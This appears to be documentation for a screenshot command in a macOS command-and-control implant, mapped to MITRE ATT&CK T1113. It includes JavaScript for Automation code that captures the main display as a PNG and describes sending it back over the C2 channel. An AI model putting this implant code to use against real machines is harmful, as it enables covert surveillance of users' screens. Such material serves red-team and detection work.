Summary
Use the built-in CGDisplay API calls to capture the display and send it back over the C2 channel.- Needs Admin: False
- Version: 1
- Author: @its_a_feature_
Arguments
Usage
MITRE ATT&CK Mapping
- T1113
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Use the built-in CGDisplay API calls to capture the display and send it back over the C2 channel.
screenshot
let cgimage = $.CGDisplayCreateImage($.CGMainDisplayID());
if(cgimage.js === undefined) {
cgimage = $.CFMakeCollectable(cgimage); // in case 10.15 is messing with the types again
}
if(cgimage.js === undefined){
return {"user_output":"Failed to get image from display", "completed": true, "status": "error"};
}
let bitmapimagerep = $.NSBitmapImageRep.alloc.initWithCGImage(cgimage);
let capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFileTypePNG, Ref());